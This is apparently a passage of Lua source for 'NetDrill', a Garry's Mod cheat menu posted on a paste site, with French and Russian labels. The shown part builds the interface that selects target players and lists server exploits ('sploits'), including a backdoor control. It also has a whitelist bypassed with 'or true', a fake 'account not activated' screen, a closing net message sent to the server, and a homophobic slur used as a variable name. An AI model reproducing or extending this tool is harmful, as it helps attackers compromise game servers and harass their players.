  2457. surface.DrawRect( 0, 0, w, h )
  2458. surface.SetDrawColor( Color(55, 55, 55, 255) )
  2459. surface.DrawOutlinedRect( 0, 0, w, h )
  2460. surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
  2461. end
  2462.  
  2463.  
  2464. local CloseMenu2 = vgui.Create("DButton", NETDRILL.PlayerSelector )
  2465.     CloseMenu2:SetText("<--")
  2466.     CloseMenu2:SetSize(200, 200)
  2467.     CloseMenu2:SetPos(NETDRILL.PlayerSelector:GetWide()-120,-85)
  2468.     CloseMenu2:SetTextColor(Color(100, 100, 100,245))
  2469.     CloseMenu2:SetFont("netdrillfont20")
  2470.     CloseMenu2.Paint = function( self,w,h ) end
  2471.     CloseMenu2.DoClick = function()
  2472.         NETDRILL.PlayerSelector:Remove()
  2473.  
  2474.     end
  2475.  
  2476. local Plist = vgui.Create( "DPanelList", NETDRILL.PlayerSelector )
  2477. Plist:SetSize( NETDRILL.PlayerSelector:GetWide() - 10, NETDRILL.PlayerSelector:GetTall() - 55 )
  2478. Plist:SetPadding( 5 )
  2479. Plist:SetSpacing( 5 )
  2480. Plist:EnableHorizontal( false )
  2481. Plist:EnableVerticalScrollbar( true )
  2482. Plist:SetPos( 5, 40 )
  2483. Plist:SetName( "" )
  2484. local target1 = vgui.Create("DButton", NETDRILL.PlayerSelector)
  2485. target1:SetSize( 40, 20 )
  2486. target1:SetPos( 10, 23 )
  2487. target1:SetText("Все")
  2488. target1:SetTextColor(Color(255, 255, 255, 255))
  2489. target1.Paint = function(panel, w, h)
  2490. surface.SetDrawColor(100, 100, 100 ,255)
  2491. --surface.DrawOutlinedRect(0, 0, w, h)
  2492. surface.SetDrawColor(100, 100, 100 ,245)
  2493. surface.DrawRect(0, 0, w, h)
  2494. end
  2495. target1.DoClick = function()
  2496. for _, p in pairs(player.GetAll()) do
  2497. if not table.HasValue( plytab, p ) then
  2498. table.insert( plytab, p )
  2499. end
  2500. end
  2501. NETDRILL.Store( addr, plytab )
  2502. end
  2503. local target2 = vgui.Create("DButton", NETDRILL.PlayerSelector)
  2504. target2:SetSize( 40, 20 )
  2505. target2:SetPos( 55, 23 )
  2506. target2:SetText("Убрать")
  2507. target2:SetTextColor(Color(255, 255, 255, 255))
  2508. target2.Paint = function(panel, w, h)
  2509. surface.SetDrawColor(100, 100, 100 ,255)
  2510. --surface.DrawOutlinedRect(0, 0, w, h)
  2511. surface.SetDrawColor(100, 100, 100 ,245)
  2512. surface.DrawRect(0, 0, w, h)
  2513. end
  2514. target2.DoClick = function()
  2515. table.Empty( plytab )
  2516. NETDRILL.Store( addr, plytab )
  2517. end
  2518. local target3 = vgui.Create("DButton", NETDRILL.PlayerSelector )
  2519. target3:SetSize( 40, 20 )
  2520. target3:SetPos( 100, 23 )
  2521. target3:SetText("Я")
  2522. target3:SetTextColor(Color(255, 255, 255, 255))
  2523. target3.Paint = function(panel, w, h)
  2524. surface.SetDrawColor(100, 100, 100 ,255)
  2525. --surface.DrawOutlinedRect(0, 0, w, h)
  2526. surface.SetDrawColor(100, 100, 100 ,245)
  2527. surface.DrawRect(0, 0, w, h)
  2528. end
  2529. target3.DoClick = function()
  2530. table.Empty( plytab )
  2531. table.insert( plytab, LocalPlayer() )
  2532. NETDRILL.Store( addr, plytab )
  2533. end
  2534. local target4 = vgui.Create( "DTextEntry", NETDRILL.PlayerSelector )
  2535. target4:SetPos( 145, 23 )
  2536. target4:SetSize( 95, 20 )
  2537. target4:SetText( "" )
  2538. target4.OnChange = function( self )
  2539. local nam = self:GetValue()
  2540. local namtab = string.Explode( ", ", nam )
  2541. table.Empty( plytab )
  2542. for _, pl in pairs( player.GetAll() ) do
  2543. for _, s in pairs( namtab ) do
  2544. if string.find( string.lower( pl:Nick() ), s ) then
  2545. table.insert( plytab, pl )
  2546. end
  2547. end
  2548. end
  2549. NETDRILL.Store( addr, plytab )
  2550. end
  2551. for k, v in pairs( player.GetAll() ) do
  2552. local plypanel2 = vgui.Create( "DPanel" )
  2553. plypanel2:SetPos( 0, 0 )
  2554. plypanel2:SetSize( 200, 25 )
  2555. local teamcol = team.GetColor( v:Team() )
  2556. plypanel2.Paint = function( s, w, h )
  2557. if !v:IsValid() then return end
  2558. surface.SetDrawColor( Color(100, 100, 100, 30) )
  2559. surface.DrawRect( 0, 0, w, h )
  2560. --surface.SetDrawColor( teamcol )
  2561. surface.DrawRect( 0, h - 3, w, 3 )
  2562. surface.SetDrawColor( Color(55, 55, 55, 245) )
  2563. surface.DrawOutlinedRect( 0, 0, w, h )
  2564. if table.HasValue( plytab, v ) then surface.SetDrawColor( Color(160, 61, 255 ) ) end
  2565. surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
  2566. end
  2567. local plyname = vgui.Create( "DLabel", plypanel2 )
  2568. plyname:SetPos( 10, 5 )
  2569. plyname:SetFont( "Trebuchet18" )
  2570. local tcol = Color( 255, 255, 255 )
  2571. if v == LocalPlayer() then tcol = Color( 155, 155, 255 ) end
  2572. plyname:SetColor( tcol )
  2573. plyname:SetText( v:Nick() )
  2574. plyname:SetSize(180, 15)
  2575. local faggot = vgui.Create("DButton", plypanel2 )
  2576. faggot:SetSize( plypanel2:GetWide(), plypanel2:GetTall() )
  2577. faggot:SetPos( 0, 0 )
  2578. faggot:SetText("")
  2579. faggot.Paint = function(panel, w, h)
  2580. return
  2581. end
  2582. faggot.DoClick = function()
  2583. if table.HasValue( plytab, v ) then
  2584. table.RemoveByValue( plytab, v )
  2585. else
  2586. table.insert( plytab, v )
  2587. end
  2588. NETDRILL.Store( addr, plytab )
  2589. end
  2590. Plist:AddItem( plypanel2 )
  2591. end
  2592. end
  2593.  
  2594.  
  2595. //
  2596. concommand.Add( "dontgetit", function()
  2597. local NETDRILLdontgetit = vgui.Create("DFrame")
  2598. NETDRILLdontgetit:SetSize(2300,2300)
  2599. NETDRILLdontgetit:SetTitle("")
  2600. NETDRILLdontgetit:Center()
  2601. NETDRILLdontgetit:SetDraggable( false )
  2602. NETDRILLdontgetit:MakePopup()
  2603. NETDRILLdontgetit.gay = table.Count( NETDRILL.sploits )
  2604. NETDRILLdontgetit:ShowCloseButton( false )
  2605. NETDRILLdontgetit.Paint = function( s, w, h )
  2606. surface.SetDrawColor( Color(0, 0, 0, 255) )   ---<
  2607. surface.DrawRect( 0, 0, w, h )
  2608. surface.SetDrawColor( Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)) )  --
  2609. surface.DrawOutlinedRect( 0, 0, w, h )
  2610. surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
  2611. surface.SetDrawColor( Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)) )
  2612. surface.DrawRect( 10, 10, w - 20, h - 20 )
  2613. surface.SetDrawColor( Color(math.random(50,200),math.random(50,200),math.random(50,200),math.random(25,75)) )
  2614. --surface.DrawRect( 0, 520, w - 0, h - 0 )
  2615. --surface.SetDrawColor( Color(255, 66, 66, 0) )
  2616. --surface.DrawRect( 0, 520, w - 0, h - 0 )
  2617. surface.SetDrawColor( Color(255, 66, 66, 0) )
  2618. surface.DrawLine( 10, 25, 40, 30 )
  2619. surface.DrawLine( 40, 30, 70, 25 )
  2620. surface.DrawLine( 10, 25, 25, 40 )
  2621. surface.DrawLine( 55, 40, 70, 25 )
  2622. surface.PlaySound( "buttons/weapon_cant_buy.wav" )
  2623. surface.PlaySound( "buttons/blip2.wav" )
  2624. surface.PlaySound( "bot/cover_me.wav" )
  2625. surface.DrawLine( 25, 40, 25, 60 )
  2626. surface.DrawLine( 55, 40, 55, 60 )
  2627. surface.DrawLine( 25, 60, 40, 70 )
  2628. surface.DrawLine( 55, 60, 40, 70 )
  2629. draw.SimpleTextOutlined( "ERREUR VAPORHACK : Votre comptre n'est pas activé", "netdrillfontlight", 1200, 350, Color( 255, 255, 255,255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER, 1, Color(100, 100, 100, 0) )
  2630.  
  2631. end
  2632. end)
  2633. //
  2634.  
  2635.  
  2636.  
  2637. function NETDRILL.MakeTextInputButton( parent, x, y, btext, default, addr)
  2638. if !parent:IsValid() then return end
  2639. local hostframe = vgui.Create( "DPanel", parent )
  2640. hostframe:SetPos( x, y )
  2641. hostframe.Paint = function( self, w, h )
  2642. surface.SetDrawColor( Color(60, 60, 60, 200) )
  2643. surface.DrawRect( 0, 0, w, h )
  2644. surface.SetDrawColor( Color( 60, 60, 60 ) )
  2645. surface.SetMaterial( downgrad )
  2646. surface.DrawTexturedRect( 0, 0, w, h/ 2 )
  2647. surface.SetDrawColor( Color(100, 100, 100, 255) )
  2648. surface.DrawOutlinedRect( 0, 0, w, h )
  2649. end
  2650. local tttt = vgui.Create( "DLabel", hostframe )
  2651. tttt:SetPos( 5, 5 )
  2652. tttt:SetText( btext )
  2653. tttt:SizeToContents()
  2654. local tentry = vgui.Create( "DTextEntry", hostframe )
  2655. tentry:SetPos( 10 + tttt:GetWide(), 2 )
  2656. tentry:SetSize( 130, 20 )
  2657. tentry:SetText( NETDRILL.GetStored( addr, default ) )
  2658. tentry.OnChange = function( self )
  2659. NETDRILL.Store( addr, self:GetValue() )
  2660. end
  2661. hostframe:SetSize( 13 + tttt:GetWide() + tentry:GetWide(), 24 )
  2662. return hostframe:GetWide(), hostframe:GetTall()
  2663. end
  2664.  
  2665.  
  2666. function NETDRILL.MakeNumberInputButton( parent, x, y, btext, default, min, max, addr)
  2667. if !parent:IsValid() then return end
  2668. local hostframe = vgui.Create( "DPanel", parent )
  2669. hostframe:SetPos( x, y )
  2670. hostframe.Paint = function( self, w, h )
  2671. surface.SetDrawColor( Color(60, 60, 60, 200) )
  2672. surface.DrawRect( 0, 0, w, h )
  2673. surface.SetDrawColor( Color( 60, 60, 60 ) )
  2674. surface.SetMaterial( downgrad )
  2675. surface.DrawTexturedRect( 0, 0, w, h/ 2 )
  2676. surface.SetDrawColor( Color(100, 100, 100, 255) )
  2677. surface.DrawOutlinedRect( 0, 0, w, h )
  2678. end
  2679. local tttt = vgui.Create( "DLabel", hostframe )
  2680. tttt:SetPos( 5, 5 )
  2681. tttt:SetText( btext )
  2682. tttt:SizeToContents()
  2683. local wangmeoff = vgui.Create( "DNumberWang", hostframe )
  2684. wangmeoff:SetPos( 10 + tttt:GetWide(), 2 )
  2685. wangmeoff:SetSize( 75, 20 )
  2686. wangmeoff:SetDecimals( 2 )
  2687. wangmeoff:SetMinMax( min , max )
  2688. wangmeoff:SetValue( NETDRILL.GetStored( addr, default ) )
  2689. wangmeoff:SetAllowNonAsciiCharacters(false)
  2690. wangmeoff.OnValueChanged = function( self, val )
  2691. NETDRILL.Store( addr, self:GetValue() )
  2692. end
  2693. hostframe:SetSize( 13 + tttt:GetWide() + wangmeoff:GetWide(), 24 )    
  2694. return hostframe:GetWide(), hostframe:GetTall()
  2695. end
  2696.  
  2697.  
  2698.  
  2699.  
  2700. -- INSERTION DU DERMA MENU
  2701. local FillFrameRates = RatesScaleLevel
  2702. concommand.Add( "netdrill_menu", function()
  2703. if FillFrameRates == "STEAM_0:0:189348722" -- Hoper
  2704. or FillFrameRates == "STEAM_0:0:99250842" -- Silent
  2705. or FillFrameRates == "STEAM_0:1:196391683" -- Polyvie
  2706. or true
  2707. then NETDRILL.Menu = vgui.Create("DFrame")
  2708. NETDRILL.Menu:SetSize(700,450)
  2709. NETDRILL.Menu:SetTitle("")
  2710. NETDRILL.Menu:Center()
  2711. NETDRILL.Menu:SetDraggable( false )
  2712. NETDRILL.Menu:MakePopup()
  2713. NETDRILL.Menu.gay = table.Count( NETDRILL.sploits )
  2714. NETDRILL.Menu:ShowCloseButton( false )
  2715. NETDRILL.Menu.Paint = function( s, w, h )
  2716. surface.SetDrawColor( Color(60, 60, 60, 245) )   ---<
  2717. surface.DrawRect( 0, 0, w, h )
  2718. surface.SetDrawColor( Color(100, 100, 100, 220) )  --
  2719. surface.DrawOutlinedRect( 0, 0, w, h )
  2720. surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
  2721. surface.SetDrawColor( Color(20, 20, 20, 230) )
  2722. surface.DrawRect( 10, 10, w - 20, h - 20 )
  2723. surface.SetDrawColor( Color(100, 100, 100, 200) )
  2724. --surface.DrawRect( 0, 520, w - 0, h - 0 )
  2725. --surface.SetDrawColor( Color(255, 66, 66, 0) )
  2726. --surface.DrawRect( 0, 520, w - 0, h - 0 )
  2727. surface.SetDrawColor( Color(255, 66, 66, 0) )
  2728. surface.DrawLine( 10, 25, 40, 30 )
  2729. surface.DrawLine( 40, 30, 70, 25 )
  2730. surface.DrawLine( 10, 25, 25, 40 )
  2731. surface.DrawLine( 55, 40, 70, 25 )
  2732. surface.DrawLine( 25, 40, 25, 60 )
  2733. surface.DrawLine( 55, 40, 55, 60 )
  2734. surface.DrawLine( 25, 60, 40, 70 )
  2735. surface.DrawLine( 55, 60, 40, 70 )
  2736. draw.DrawText( "Netdrill™ | от USERNAME | Dev", "netdrillfonthard", 220, 425, Color(255, 255, 255, 50) )
  2737. draw.DrawText( "亗", "netdrillfontlogo", 16, 13, Color(255, 255, 255, 20) )
  2738.  
  2739. draw.SimpleTextOutlined( "NetDrill", "netdrillfontlight", ScrW()/3.95 + math.sin(RealTime()) * ScrW() / 60, ScrH()/20, Color( 255, 255, 255,255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER, 1, Color(100, 100, 100, 0) )
  2740. end
  2741.  
  2742. local CloseMenu = vgui.Create("DButton", NETDRILL.Menu )
  2743.     CloseMenu:SetText("X")
  2744.     CloseMenu:SetSize(200, 200)
  2745.     CloseMenu:SetPos(NETDRILL.Menu:GetWide()-125,-75)
  2746.     CloseMenu:SetTextColor(Color(255, 66, 66,255))
  2747.     CloseMenu:SetFont("netdrillfont20")
  2748.     CloseMenu.Paint = function( self,w,h ) end
  2749.     CloseMenu.DoClick = function()
  2750.         NETDRILL.Menu:Remove()
  2751.  
  2752.     end
  2753.  
  2754. local Plist = vgui.Create( "DPanelList", NETDRILL.Menu )
  2755. Plist:SetSize( NETDRILL.Menu:GetWide() - 20, NETDRILL.Menu:GetTall() - 35 )
  2756. Plist:SetPadding( 5 )
  2757. Plist:SetSpacing( 5 )
  2758. Plist:EnableHorizontal( false )
  2759. Plist:EnableVerticalScrollbar( true )
  2760. Plist:SetPos( 10, 90 )
  2761. Plist:SetName( "" )
  2762. --NETDRILL.MakeFunctionButton( NETDRILL.Menu, 10, 130, "Load Config", NETDRILL.LoadConfig, "Charger une Config" )
  2763. --NETDRILL.MakeFunctionButton( NETDRILL.Menu, 10, 160, "Save Config", NETDRILL.SaveConfig, "Sauvegarder la Config" )
  2764. local function CreateSploitPanel( name, t )
  2765. if !NETDRILL.Menu then return end
  2766. local cmdp = vgui.Create( "DPanel" )
  2767. cmdp:SetSize( Plist:GetWide(), 50 )
  2768. cmdp.Cmd = name
  2769. cmdp.Desc = t.desc
  2770. cmdp.Paint = function( s, w, h )
  2771. surface.SetDrawColor( Color(60, 60, 60, 245) )
  2772. surface.DrawRect( 0, 0, w, h )
  2773. surface.SetDrawColor( severitycols[t.severity] )
  2774. surface.DrawOutlinedRect( 0, 0, w, h )
  2775. --surface.DrawLine( 0, 24, w, 24 )
  2776. draw.DrawText( cmdp.Cmd, "DermaDefault", 11, 2, Color(255,255,255) )
  2777. --draw.DrawText( cmdp.Desc, "DermaDefault", 10, 28, Color(205,205,255, 100) )
  2778. end
  2779.  
  2780. --timer.Create("timerversionchecker",7,1,function()
  2781. --hook.Remove("HUDPaint", "HudVersionChecker")
  2782. --end)
  2783.  
  2784.  
  2785.  
  2786. -- POSE DES FONCTIONS BOUTONS
  2787. local x = 10
  2788. for _, tab in ipairs( t.functions ) do
  2789. if tab.typ == "func" then
  2790. x = (x + 5) + NETDRILL.MakeFunctionButton( cmdp, x, 21, tab.name, tab.func )
  2791. elseif tab.typ == "players" then
  2792. x = (x + 5) + NETDRILL.MakePlayerSelectionButton( cmdp, x, 21, tab.addr )
  2793. elseif tab.typ == "htxcommandeliste" then
  2794. x = (x + 5) + NETDRILL.HTXBackdoor( cmdp, x, 21, tab.name )
  2795. elseif tab.typ == "string" then
  2796. x = (x + 5) + NETDRILL.MakeTextInputButton( cmdp, x, 21, tab.name, tab.default, tab.addr )
  2797. if !NETDRILL.IsStored( tab.addr ) then NETDRILL.Store( tab.addr, tab.default ) end
  2798. elseif tab.typ == "float" then
  2799. x = (x + 5) + NETDRILL.MakeNumberInputButton( cmdp, x, 21, tab.name, tab.default, tab.min, tab.max, tab.addr )
  2800. if !NETDRILL.IsStored( tab.addr ) then NETDRILL.Store( tab.addr, tab.default ) end
  2801. end
  2802. end
  2803. Plist:AddItem( cmdp )
  2804. end
  2805. for k, v in pairs( NETDRILL.sploits ) do
  2806. if v.scan() then CreateSploitPanel( k, v ) end
  2807. end
  2808. else
  2809. LocalPlayer():EmitSound("common/warning.wav",500,100)
  2810. LocalPlayer():EmitSound("common/warning.wav",500,100)
  2811. LocalPlayer():EmitSound("common/warning.wav",500,100)
  2812. LocalPlayer():EmitSound("common/warning.wav",500,100)
  2813. LocalPlayer():EmitSound("common/warning.wav",500,100)
  2814. LocalPlayer():EmitSound("common/warning.wav",500,100)
  2815. --LocalPlayer():ConCommand("dontgetit")
  2816. return end
  2817. end)
  2818.  
  2819.  
  2820. -- END
  2821.  
  2822.     net.Start("Limon_ban")
  2823.     net.SendToServer()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement